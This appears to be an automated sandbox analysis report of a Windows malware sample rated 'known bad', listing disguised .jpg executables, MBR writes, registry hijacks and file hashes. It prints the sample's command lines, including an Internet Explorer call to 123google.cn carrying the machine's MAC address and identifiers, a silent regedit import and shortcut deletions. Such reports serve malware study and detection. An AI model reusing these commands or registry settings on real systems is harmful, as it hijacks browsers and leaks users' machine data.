Analysis Overview
SHA256
40cba540697c2976f6a66aa1b60d6bf71fcc04937b27c682c951f1cd8401e882
Threat Level: Known bad
The file 05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118 was found to be: Known bad.
Malicious Activity Summary
Modifies visibility of file extensions in Explorer
Executes dropped EXE
Deletes itself
Loads dropped DLL
Writes to the Master Boot Record (MBR)
Drops file in Windows directory
Enumerates physical storage devices
Unsigned PE
Modifies Internet Explorer settings
Runs .reg file with regedit
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-20 12:24
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-20 12:24
Reported
2024-06-20 12:26
Platform
win7-20240221-en
Max time kernel
117s
Max time network
117s
Command Line
Signatures
Modifies visibility of file extensions in Explorer
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" | C:\WINDOWS\1059\mone.jpg | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\spring.jpg | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
Drops file in Windows directory
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\GPU | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{06653441-2F00-11EF-87AA-FA8378BF1C4A} = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\PageSetup | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Zoom | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IETld\LowMic | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IntelliForms | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\InternetRegistry | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\ = "????" | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\NeverShowExt = "1" | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command\ = "IEXPLORE.EXE http://www.manyou123.com/?pm" | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "@%SystemRoot%\\system32\\SHELL32.dll,-30520" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32 | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849} | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "Search Results Folder" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "%SystemRoot%\\SysWow64\\SHELL32.dll,-134" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%SystemRoot%\\SysWow64\\SHELL32.dll" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "942747698" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE,0" | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\IntroText = "@%SystemRoot%\\system32\\SHELL32.dll,-31754" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment" | C:\Windows\SysWOW64\regedit.exe | N/A |
Runs .reg file with regedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\regedit.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| Token: SeDebugPrivilege | N/A | C:\WINDOWS\1059\spring.jpg | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\spring.jpg | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe"
C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://www.123google.cn/tjjjj/get.asp?mac=FA8378BF1C00&makedate=QM00013&comput=Home&ver=27&userid=0001&Key=7D3D7A690EE44F3071765FB879953442
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2584 CREDAT:275457 /prefetch:2
C:\WINDOWS\1059\women.jpg
C:\WINDOWS\1059\women.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe===
C:\WINDOWS\1059\mone.jpg
C:\WINDOWS\1059\mone.jpg
C:\WINDOWS\1059\spring.jpg
spring.jpg 1208
C:\Windows\SysWOW64\regedit.exe
regedit /s "C:\WINDOWS\1059\jia.reg"
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\launch internet explorer browser.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.123google.cn | udp |
Files
memory/1984-0-0x0000000000400000-0x0000000000455000-memory.dmp
memory/1984-1-0x0000000000020000-0x0000000000022000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Cab3506.tmp
| MD5 | ac05d27423a85adc1622c714f2cb6184 |
| SHA1 | b0fe2b1abddb97837ea0195be70ab2ff14d43198 |
| SHA256 | c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d |
| SHA512 | 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Temp\Tar35E9.tmp
| MD5 | 4ea6026cf93ec6338144661bf1202cd1 |
| SHA1 | a1dec9044f750ad887935a01430bf49322fbdcb7 |
| SHA256 | 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8 |
| SHA512 | 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | cdccee4ecf1de13b9afe9f0b2480f9a2 |
| SHA1 | a667472df60644e9636994805c075a7ce97fb592 |
| SHA256 | 3233fb493f499f51c50a507cd5ca530aaa20e2926aa1dcc471378fa15b914b71 |
| SHA512 | b8ec06aa6f4234cee20a99eb451e9a2908d72c3123468b96caa5ee117b3594048151e00f5357aff542577129386c758eb63dc5ca15499cf4526a541f13d7cc73 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | f1691048681383255be99ae15561149c |
| SHA1 | 821db4b86ae1ec782f3e209774777ba82abc8a13 |
| SHA256 | 92741d1f3b0f61a00145e81e1bc4a30baf78d38b40575d7851fe2b734e376292 |
| SHA512 | 1fdf8fdf4cbdcf2d2e9c26470ddaa77731373da5f6cdf57a8f423593a50ccb66d63f24383910882deb5553a0653a5f1e5b9e483ef146f78699073e52186be13c |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | e200e064493a65508608eb2b53e2986e |
| SHA1 | 676ff1307ea2808b4862a5efc32a2ddfe2c83cfe |
| SHA256 | f824cbea8a57e6027c8e8504842810fddaf82c26128aaf7dae3d9bb2bf49711f |
| SHA512 | 5f2cdc24f3677ba354b4da16c71be88a2cd0a42303e1c6a3e2ab10037882d94d759f618652da18e12cd907899d4cc5d295a2d085cb22a3c0b8c2235c02d64a88 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 84e688b4adf4877b2ea59f38fe07ade6 |
| SHA1 | ecf3184e52478d3196edb413a1f89ae4e41a1c9e |
| SHA256 | a60daa10dd1d644f76f5d6bd5e91ed68aa62bc8c0d3503a44c52a1e353ba3631 |
| SHA512 | 80d203d1adf9072640d722c87c1b72abaed9655ffe80e35a16026f103f39e51fab18bf22b57a838931a274eb48d913651be6dede1a8eb0eb2cf017d9172f0743 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | d2ad9597d765d4e56608119e751de3a4 |
| SHA1 | 7530f400706ede79ef84134dcdce87d179f20d1d |
| SHA256 | 3a08dbdec6c44323576498ecfffd4e7827f7ca2c19c34ceb0174b77669198982 |
| SHA512 | 6dc2cc86078465df7142aaa938d5a77a73398913a7ab2e4b73c9af24c3f0690a85a5d1f5b216e4c8ea7601c0917f934a68bfad9aae3cca1572fb0ec6920f59f6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 19b8ea7b433eda56e08fb3910bb81851 |
| SHA1 | f4580b0ccfd55264bed615da609ab56559512c23 |
| SHA256 | bac3ed2a8f4435a0da69ebd181552df67324460d995709ee360332295c06b31d |
| SHA512 | 3ce66ca3b5c4f08d877ca186e4b3a92dda041e6b4d75662520beb2b2eea46a0780ddb67cd536c01de8de46a9dd645e38b7fa7f3fce170e4438803eb3d4a3e223 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | e5544cb96a21ed9d4c775e21b6b48d4d |
| SHA1 | 5a213e015135fc880a34afde4a1535f548d30133 |
| SHA256 | 9d235034e3d7520a4cb96cf9e971a7a5b251434843ee28cd78c1f5a9c6ca6c4c |
| SHA512 | 3f1ee70f8a45d4ca47a1fb31f2ae56e2f5f5e0c83bd00736559ecda8b6516ff7e2dd02f076e4f7cd163df922a8f844ef62fd77a14fb12d60c2c5c94e6ae02853 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | d025f7290a850da63fc4600b5146f25e |
| SHA1 | 3385d1a384710e08ebfc718c0c59511ea12a3cb9 |
| SHA256 | 27ee8fb722a506ebdbc13c76d1c55f196702a690b1bf18714e897a5000858b33 |
| SHA512 | 9374bfbd2ea4b3f99db3d2d4dd4cab14215fe6f9aa5b777f0bd782b227a9560d37ce100e18281d30e5a32230ed1d133533a45fe95246b88a2602c3b0437c7e85 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 477366406fe4f55e3abe5bf3a247e4c0 |
| SHA1 | 36132a4551e64c14518048ad79c6294adbf522c9 |
| SHA256 | 2bd3458517f6aa2c2032ddab62526919576256458ca05bcd3da45232c9985257 |
| SHA512 | abfe705de1e4fb3958af2b163a5be8ed7079f7da079fddc830605cde205e73d97cceea5a082a8d6b4aaa728674eba6a06fb8671c4b26046d1baaf23a03b44a6c |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 282824b244f7f613692e77a424785082 |
| SHA1 | 69bc3b1df65b6c6c95a9d978748e3cd074e14689 |
| SHA256 | 9f84bebb7d285595a2dbc8c45f849f0dc0aaeb69166efaebdb1d6654bbbd510e |
| SHA512 | caed3fc8439c8393533170e6dfadac7817ed93498c601401adb60ab3a04f31e0527436f4fa2d64331554fe1b07eb9f1604c1e67b8a0eac223611fe598e115670 |
\Windows\1059\women.jpg
| MD5 | f572dd2e1600ae7c7fadd01e7c89775c |
| SHA1 | ac308e9b69d910badb9e237eeaa32a3351e850ff |
| SHA256 | b5af2e44edebb01fa4fe1e8cf061ef5945caedbdfc93927c3e1eb434c5dcf15c |
| SHA512 | 2ca2014a5429723195122c4a2a75a954049d451639f8fe0073415ab2112f0c80609a28714b56afcfb5d6672014f9e897f37bd478994af91e667914fb404fb9bb |
memory/1984-508-0x0000000000400000-0x0000000000455000-memory.dmp
C:\Windows\1059\mone.jpg
| MD5 | 0b995acc051cc22aefd81b5179025618 |
| SHA1 | 8f06925400c0a7c9aa79c4f30499e853fa567083 |
| SHA256 | 722bc4d3f0630f9be62491f85f19ad449dd21bdf3622c968454bc0ea8748d1a6 |
| SHA512 | fecf7641a15cebfb367eb63a3b37f1acf50e29e8abcc6042c21e5d46358fb2fe8f7b6d1d0d1a968130102f609cd4505bbc41e9ddc70875317a01fb7cbe694179 |
\Windows\1059\spring.jpg
| MD5 | 131e7bb66f87c4a4855b1d55432b92d1 |
| SHA1 | df6db1a2374c93ca7ae05f87bb68b419fdac2cab |
| SHA256 | 77d5c1a23b4b44525d3d9136d0fbf6ad26eb575ca4257693f5becb749cb74293 |
| SHA512 | 0a5f0c83acf38a9aae7b0231232cbb8ad896c209c9a207e33f2bb4b901f4e91551ffc3efd1fcd412484248de260e6338a889cb19385caf1cafed1a1ae0d9a393 |
memory/1460-528-0x0000000076FE0000-0x0000000076FE1000-memory.dmp
memory/1460-527-0x0000000076FDF000-0x0000000076FE0000-memory.dmp
C:\Windows\1059\jia.reg
| MD5 | 1840a7df3c8bfc6f58e30dd4e1a5e4c4 |
| SHA1 | 4f8a3f4ba58ece4a54a75deabf4d8bac0d53a260 |
| SHA256 | cf0a71cd1512e605c65f115f2c517a53c7b21d70198bac82eadc7124e1c2f776 |
| SHA512 | 1bfef8eb534dafa9fa52c4ab275f6e50744b1a84c278146bf4ec47db4f61137003f22100e7ddd88f7fef4c8aed199b59698f87febf59f7238062e4f50000f0a0 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-20 12:24
Reported
2024-06-20 12:26
Platform
win10v2004-20240508-en
Max time kernel
126s
Max time network
127s
Command Line
Signatures
Modifies visibility of file extensions in Explorer
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" | C:\WINDOWS\1059\mone.jpg | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\spring.jpg | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
Drops file in Windows directory
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\GPU | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{06E74A25-2F00-11EF-B8C0-FE55E2F65CCF} = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%SystemRoot%\\SysWow64\\SHELL32.dll" | C:\Windows\SysWOW64\regedit.exe | N/A |
